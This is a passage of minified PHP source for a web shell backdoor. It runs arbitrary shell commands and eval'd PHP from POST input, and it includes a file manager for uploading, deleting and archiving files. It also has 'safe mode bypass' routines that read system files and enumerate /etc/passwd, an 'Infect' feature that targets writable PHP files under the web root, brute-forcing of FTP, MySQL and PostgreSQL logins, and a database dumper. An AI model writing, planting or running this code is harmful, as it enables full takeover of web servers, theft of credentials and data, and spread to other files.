actionConsole(){if(!empty($_POST['p1'])&&!empty($_POST['p2'])){prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out',true);$_POST['p1'].=' 2>&1';}elseif(!empty($_POST['p1']))prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out',0);if(isset($_POST['ajax'])){prototype(md5($_SERVER['HTTP_HOST']).'ajax',true);ob_start();echo"d.cf.cmd.value='';
";$temp=@iconv($_POST['charset'],'UTF-8',addcslashes("
$ ".$_POST['p1']."
".ex($_POST['p1']),"
\'"));if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)){if(@chdir($match[1])){$GLOBALS['cwd']=@getcwd();echo"c_='".$GLOBALS['cwd']."';";}}echo"d.cf.output.value+='".$temp."';";echo"d.cf.output.scrollTop = d.cf.output.scrollHeight;";$temp=ob_get_clean();echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))prototype(md5($_SERVER['HTTP_HOST']).'ajax',0);hardHeader();echo"<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";echo'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>';foreach($GLOBALS['aliases'] as$n=>$v){if($v==''){echo'<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';continue;}echo'<option value="'.htmlspecialchars($v).'">'.$n.'</option>';}echo'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';if(!empty($_POST['p1'])){echo htmlspecialchars("$ ".$_POST['p1']."
".ex($_POST['p1']));}echo'</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';echo'</form></div><script>d.cf.cmd.focus();</script>';hardFooter();}function actionPhp(){if(isset($_POST['ajax'])){$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']=true;ob_start();eval($_POST['p1']);$temp="document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";echo strlen($temp),"
",$temp;exit;}hardHeader();if(isset($_POST['p2'])&&($_POST['p2']=='info')){echo'<h1>PHP info</h1><div class=content>';ob_start();phpinfo();$tmp=ob_get_clean();$tmp=preg_replace('!body {.*}!msiU','',$tmp);$tmp=preg_replace('!a:\w+ {.*}!msiU','',$tmp);$tmp=preg_replace('!h1!msiU','h2',$tmp);$tmp=preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);$tmp=preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);echo$tmp;echo'</div><br>';}if(empty($_POST['ajax'])&&!empty($_POST['p1']))$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']=false;echo'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';echo' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';if(!empty($_POST['p1'])){ob_start();eval($_POST['p1']);echo htmlspecialchars(ob_get_clean());}echo'</pre></div>';hardFooter();}function actionFilesMan(){if(!empty($_COOKIE['f']))$_COOKIE['f']=@unserialize($_COOKIE['f']);if(!empty($_POST['p1'])){switch($_POST['p1']){case 'uploadFile':if(is_array($_FILES['f']['tmp_name'])){foreach($_FILES['f']['tmp_name'] as$i=>$tmpName){if(!@move_uploaded_file($tmpName,$_FILES['f']['name'][$i])){echo"Can't upload file!";}}}break;case 'mkdir':if(!@mkdir($_POST['p2']))echo"Can't create new dir";break;case 'delete':function deleteDir($path){$path=(substr($path,-1)=='/')?$path:$path.'/';$dh=opendir($path);while(($=readdir($dh))!==false){$=$path.$;if((basename($)=="..")||(basename($)=="."))continue;$type=filetype($);if($type=="dir")deleteDir($);else @unlink($);}closedir($dh);@rmdir($path);}if(is_array(@$_POST['f']))foreach($_POST['f'] as$f){if($f=='..')continue;$f=urldecode($f);if(is_dir($f))deleteDir($f);else @unlink($f);}break;case 'paste':if($_COOKIE['act']=='copy'){function copy_paste($c,$s,$d){if(is_dir($c.$s)){mkdir($d.$s);$h=@opendir($c.$s);while(($f=@readdir($h))!==false)if(($f!=".") and ($f!=".."))copy_paste($c.$s.'/',$f,$d.$s.'/');}elseif(is_file($c.$s))@copy($c.$s,$d.$s);}foreach($_COOKIE['f'] as$f)copy_paste($_COOKIE['c'],$f,$GLOBALS['cwd']);}elseif($_COOKIE['act']=='move'){function move_paste($c,$s,$d){if(is_dir($c.$s)){mkdir($d.$s);$h=@opendir($c.$s);while(($f=@readdir($h))!==false)if(($f!=".") and ($f!=".."))copy_paste($c.$s.'/',$f,$d.$s.'/');}elseif(@is_file($c.$s))@copy($c.$s,$d.$s);}foreach($_COOKIE['f'] as$f)@rename($_COOKIE['c'].$f,$GLOBALS['cwd'].$f);}elseif($_COOKIE['act']=='zip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();if($zip->open($_POST['p2'],1)){chdir($_COOKIE['c']);foreach($_COOKIE['f'] as$f){if($f=='..')continue;if(@is_file($_COOKIE['c'].$f))$zip->addFile($_COOKIE['c'].$f,$f);elseif(@is_dir($_COOKIE['c'].$f)){$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/',FilesystemIterator::SKIP_DOTS));foreach($iterator as$key=>$value){$zip->addFile(realpath($key),$key);}}}chdir($GLOBALS['cwd']);$zip->close();}}}elseif($_COOKIE['act']=='unzip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();foreach($_COOKIE['f'] as$f){if($zip->open($_COOKIE['c'].$f)){$zip->extractTo($GLOBALS['cwd']);$zip->close();}}}}elseif($_COOKIE['act']=='tar'){chdir($_COOKIE['c']);$_COOKIE['f']=array_map('escapeshellarg',$_COOKIE['f']);ex('tar cfzv '.escapeshellarg($_POST['p2']).' '.implode(' ',$_COOKIE['f']));chdir($GLOBALS['cwd']);}unset($_COOKIE['f']);setcookie('f','',time()-3600);break;default:if(!empty($_POST['p1'])){prototype('act',$_POST['p1']);prototype('f',serialize(@$_POST['f']));prototype('c',@$_POST['c']);}break;}}hardHeader();echo'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';$dirContent=hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);if($dirContent===false){echo'Can\'t open this folder!';hardFooter();return;}global $sort;$sort=array('name',1);if(!empty($_POST['p1'])){if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['p1'],$match))$sort=array($match[1],(int)$match[2]);}echo"<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";$dirs=$files=array();$n=count($dirContent);for($i=0;$i<$n;$i++){$ow=@posix_getpwuid(@fileowner($dirContent[$i]));$gr=@posix_getgrgid(@filegroup($dirContent[$i]));$tmp=array('name'=>$dirContent[$i],'path'=>$GLOBALS['cwd'].$dirContent[$i],'modify'=>date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),'perms'=>viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),'size'=>@filesize($GLOBALS['cwd'].$dirContent[$i]),'owner'=>$ow['name']?$ow['name']:@fileowner($dirContent[$i]),'group'=>$gr['name']?$gr['name']:@filegroup($dirContent[$i]));if(@is_file($GLOBALS['cwd'].$dirContent[$i]))$files[]=array_merge($tmp,array('type'=>'file'));elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))$dirs[]=array_merge($tmp,array('type'=>'link','link'=>readlink($tmp['path'])));elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&&($dirContent[$i]!="."))$dirs[]=array_merge($tmp,array('type'=>'dir'));}$GLOBALS['sort']=$sort;function cmp($a,$b){if($GLOBALS['sort'][0]!='size')return strcmp(strtolower($a[$GLOBALS['sort'][0]]),strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);else return(($a['size']<$b['size'])?-1:1)*($GLOBALS['sort'][1]?1:-1);}usort($files,"cmp");usort($dirs,"cmp");$files=array_merge($dirs,$files);$l=0;foreach($files as$f){echo'<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" '.(empty($f['link'])?'':"title='".$f['link']."'").'><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'].'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';$l=$l?0:1;}echo"<tr id=fak><td colspan=7>
<input type=hidden name=ne value=''>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd'])."'>
<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
<label><select name='p1'>";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f']))echo"<option value='paste'> Paste</option>";echo"<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";if(class_exists('ZipArchive'))echo"<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";echo"<option value='tar'>+ tar.gz</option>";echo"</select></label>";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f'])&&(($_COOKIE['act']=='zip')||($_COOKIE['act']=='tar')))echo" file name: <input type=text name=p2 value='hard_".date("Ymd_His").".".($_COOKIE['act']=='zip'?'zip':'tar.gz')."'> ";echo"<input type='submit' value='submit'></td></tr></form></table></div>";hardFooter();}function actionStringTools(){if(!function_exists('hex2bin')){function hex2bin($p){return decbin(hexdec($p));}}if(!function_exists('binhex')){function binhex($p){return dechex(bindec($p));}}if(!function_exists('hex2ascii')){function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return$r;}}if(!function_exists('ascii2hex')){function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.=sprintf('%02X',ord($p[$i]));return strtoupper($r);}}if(!function_exists('full_urlencode')){function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.='%'.dechex(ord($p[$i]));return strtoupper($r);}}$stringTools=array('Base64 encode'=>'base64_encode','Base64 decode'=>'base64_decode','Url encode'=>'urlencode','Url decode'=>'urldecode','Full urlencode'=>'full_urlencode','md5 hash'=>'md5','sha1 hash'=>'sha1','crypt'=>'crypt','CRC32'=>'crc32','ASCII to HEX'=>'ascii2hex','HEX to ASCII'=>'hex2ascii','HEX to DEC'=>'hexdec','HEX to BIN'=>'hex2bin','DEC to HEX'=>'dechex','DEC to BIN'=>'decbin','BIN to HEX'=>'binhex','BIN to DEC'=>'bindec','String to lower case'=>'strtolower','String to upper case'=>'strtoupper','Htmlspecialchars'=>'htmlspecialchars','String length'=>'strlen',);if(isset($_POST['ajax'])){prototype(md5($_SERVER['HTTP_HOST']).'ajax',true);ob_start();if(in_array($_POST['p1'],$stringTools))echo$_POST['p1']($_POST['p2']);$temp="document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))prototype(md5($_SERVER['HTTP_HOST']).'ajax',0);hardHeader();echo'<h1>String conversions</h1><div class=content>';echo"<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";foreach($stringTools as$k=>$v)echo"<option value='".htmlspecialchars($v)."'>".$k."</option>";echo"</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";if(!empty($_POST['p1'])){if(in_array($_POST['p1'],$stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));}echo"</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='".htmlspecialchars($GLOBALS['cwd'])."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='submit'></td></tr>
</table></form>";function hardRecursiveGlob($path){if(substr($path,-1)!='/')$path.='/';$paths=@array_unique(@array_merge(@glob($path.$_POST['p3']),@glob($path.'*',GLOB_ONLYDIR)));if(is_array($paths)&&@count($paths)){foreach($paths as$){if(@is_dir($)){if($path!=$)hardRecursiveGlob($);}else{if(empty($_POST['p2'])||@strpos(file_get_contents($),$_POST['p2'])!==false)echo"<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($)."\", \"view\",\"\")'>".htmlspecialchars($)."</a><br>";}}}}if(@$_POST['p3'])hardRecursiveGlob($_POST['c']);echo"</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>
<input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
<input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>
<input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
<input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br>
<input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br>
<input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
</form></div>";hardFooter();}function actionSafeMode(){$temp='';ob_start();switch($_POST['p1']){case 1:$temp=@tempnam($test,'cx');if(@copy("compress.zlib://".$_POST['p2'],$temp)){echo @file_get_contents($temp);unlink($temp);}else echo'Sorry... Can\'t open file';break;case 2:$files=glob($_POST['p2'].'*');if(is_array($files))foreach($files as$filename)echo$filename."
";break;case 3:$ch=curl_init("file://".$_POST['p2']."".SELF_PATH);curl_exec($ch);break;case 4:ini_restore("safe_mode");ini_restore("open_basedir");include($_POST['p2']);break;case 5:for(;$_POST['p2']<=$_POST['p3'];$_POST['p2']++){$uid=@posix_getpwuid($_POST['p2']);if($uid)echo join(':',$uid)."
";}break;case 6:if(!function_exists('imap_open'))break;$stream=imap_open($_POST['p2'],"","");if($stream==false)break;echo imap_body($stream,1);imap_close($stream);break;}$temp=ob_get_clean();hardHeader();echo'<h1>Safe mode bypass</h1><div class=content>';echo'<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';if($temp)echo'<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';echo'</div>';hardFooter();}function actionLogout(){setcookie(md5($_SERVER['HTTP_HOST']),'',time()-3600);die('bye!');}function actionSelfRemove(){if($_POST['p1']=='yes')if(@unlink(preg_replace('!\(\d+\)\s.*!','',__FILE__)))die('Shell has been removed');else echo'unlink error!';if($_POST['p1']!='yes')hardHeader();echo'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';hardFooter();}function actionInfect(){hardHeader();echo'<h1>Infect</h1><div class=content>';if($_POST['p1']=='infect'){$target=$_SERVER['DOCUMENT_ROOT'];function ListFiles($dir){if($dh=opendir($dir)){$files=array();$inner_files=array();while($file=readdir($dh)){if($file!="."&&$file!=".."){if(is_dir($dir."/".$file)){$inner_files=ListFiles($dir."/".$file);if(is_array($inner_files))$files=array_merge($files,$inner_files);}else{array_push($files,$dir."/".$file);}}}closedir($dh);return$files;}}foreach(ListFiles($target) as$key=>$file){$nFile=substr($file,-4,4);if($nFile==".php"){if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){echo$file."<br>";$i++;}}}echo"<font color=red size=14>".$i."</font>";}else{echo"<form method=post><input type=submit value=Infect name=infet></form>";echo'Really want to infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';}hardFooter();}function actionBruteforce(){hardHeader();if(isset($_POST['proto'])){echo'<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';if($_POST['proto']=='ftp'){function bruteForce($ip,$port,$login,$pass){$fp=@ftp_connect($ip,$port?$port:21);if(!$fp)return false;$res=@ftp_login($fp,$login,$pass);@ftp_close($fp);return$res;}}elseif($_POST['proto']=='mysql'){function bruteForce($ip,$port,$login,$pass){$res=@mysql_connect($ip.':'.($port?$port:3306),$login,$pass);@mysql_close($res);return$res;}}elseif($_POST['proto']=='pgsql'){function bruteForce($ip,$port,$login,$pass){$str="host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";$res=@pg_connect($str);@pg_close($res);return$res;}}$success=0;$attempts=0;$server=explode(":",$_POST['server']);if($_POST['type']==1){$temp=@file('/etc/passwd');if(is_array($temp))foreach($temp as$line){$line=explode(":",$line);++$attempts;if(bruteForce(@$server[0],@$server[1],$line[0],$line[0])){$success++;echo'<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';}if(@$_POST['reverse']){$tmp="";for($i=strlen($line[0])-1;$i>=0;--$i)$tmp.=$line[0][$i];++$attempts;if(bruteForce(@$server[0],@$server[1],$line[0],$tmp)){$success++;echo'<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);}}}}elseif($_POST['type']==2){$temp=@file($_POST['dict']);if(is_array($temp))foreach($temp as$line){$line=trim($line);++$attempts;if(bruteForce($server[0],@$server[1],$_POST['login'],$line)){$success++;echo'<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';}}}echo"<span>Attempts:</span> ".$attempts." <span>Success:</span> ".$success."</div><br>";}echo'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'.'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>'.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'.'<input type=hidden name=ne value="">'.'<span>Server:port</span></td>'.'<td><input type=text name=server value="127.0.0.1"></td></tr>'.'<tr><td><span>Brute type</span></td>'.'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>'.'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>'.'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>'.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'.'<td><input type=text name=login value="root"></td></tr>'.'<tr><td><span>Dictionary</span></td>'.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'.'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';echo'</div>';hardFooter();}function actionSql(){class DbClass{public$type;public$link;public$res;function DbClass($type){$this->type=$type;}function connect($host,$user,$pass,$dbname){switch($this->type){case 'mysql':if($this->link=@mysql_connect($host,$user,$pass,true))return true;break;case 'pgsql':$host=explode(':',$host);if(!$host[1])$host[1]=5432;if($this->link=@pg_connect("host=".$host[0]." port=".$host[1]." user=".$user." password=".$pass." dbname=".$dbname))return true;break;}return false;}function selectdb($db){switch($this->type){case 'mysql':if(@mysql_select_db($db))return true;break;}return false;}function query($str){switch($this->type){case 'mysql':return$this->res=@mysql_query($str);break;case 'pgsql':return$this->res=@pg_query($this->link,$str);break;}return false;}function fetch(){$res=func_num_args()?func_get_arg(0):$this->res;switch($this->type){case 'mysql':return @mysql_fetch_assoc($res);break;case 'pgsql':return @pg_fetch_assoc($res);break;}return false;}function listDbs(){switch($this->type){case 'mysql':return$this->query("SHOW databases");break;case 'pgsql':return$this->res=$this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");break;}return false;}function listTables(){switch($this->type){case 'mysql':return$this->res=$this->query('SHOW TABLES');break;case 'pgsql':return$this->res=$this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");break;}return false;}function error(){switch($this->type){case 'mysql':return @mysql_error();break;case 'pgsql':return @pg_last_error();break;}return false;}function setCharset($str){switch($this->type){case 'mysql':if(function_exists('mysql_set_charset'))return @mysql_set_charset($str,$this->link);else $this->query('SET CHARSET '.$str);break;case 'pgsql':return @pg_set_client_encoding($this->link,$str);break;}return false;}function loadFile($str){switch($this->type){case 'mysql':return$this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));break;case 'pgsql':$this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '".addslashes($str)."';select file from hard2;");$r=array();while($i=$this->fetch())$r[]=$i['file'];$this->query('drop table hard2');return array('file'=>implode("
",$r));break;}return false;}function dump($table,$fp=false){switch($this->type){case 'mysql':$res=$this->query('SHOW CREATE TABLE `'.$table.'`');$create=mysql_fetch_array($res);$sql=$create[1].";
";if($fp)fwrite($fp,$sql);else echo($sql);$this->query('SELECT * FROM `'.$table.'`');$i=0;$head=true;while($=$this->fetch()){$sql='';if($i%1000==0){$head=true;$sql=";
";}$columns=array();foreach($ as$k=>$v){if($v===null)$[$k]="NULL";elseif(is_int($v))$[$k]=$v;else $[$k]="'".@mysql_real_escape_string($v)."'";$columns[]="`".$k."`";}if($head){$sql.='INSERT INTO `'.$table.'` ('.implode(", ",$columns).") VALUES
(".implode(", ",$).')';$head=false;}else $sql.="
,(".implode(", ",$).')';if($fp)fwrite($fp,$sql);else echo($sql);$i++;}if(!$head)if($fp)fwrite($fp,";
");else echo(";
");break;case 'pgsql':$this->query('SELECT * FROM '.$table);while($=$this->fetch()){$columns=array();foreach($ as$k=>$v){$[$k]="'".addslashes($v)."'";$columns[]=$k;}$sql='INSERT INTO '.$table.' ('.implode(", ",$columns).') VALUES ('.implode(", ",$).');'."
";if($fp)fwrite($fp,$sql);else echo($sql);}break;}return false;}};$db=new DbClass($_POST['type']);if((@$_POST['p2']=='download')&&(@$_POST['p1']!='select')){$db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base']);$db->selectdb($_POST['sql_base']);switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}if(empty($_POST['file'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=dump.sql");header("Content-Type: text/plain");foreach($_POST['tbl'] as$v)$db->dump($v);exit;}elseif($fp=@fopen($_POST['file'],'w')){foreach($_POST['tbl'] as$v)$db->dump($v,$fp);fclose($fp);unset($_POST['p2']);}else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');}hardHeader();echo"
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
<td><label><select name='type'><option value='mysql' ";if(@$_POST['type']=='mysql')echo'selected';echo">MySql</option><option value='pgsql' ";if(@$_POST['type']=='pgsql')echo'selected';echo">PostgreSql</option></select></label></td>
<td><input type=text name=sql_host value=\"".(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']))."\"></td>
<td><input type=text name=sql_login value=\"".(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']))."\"></td>
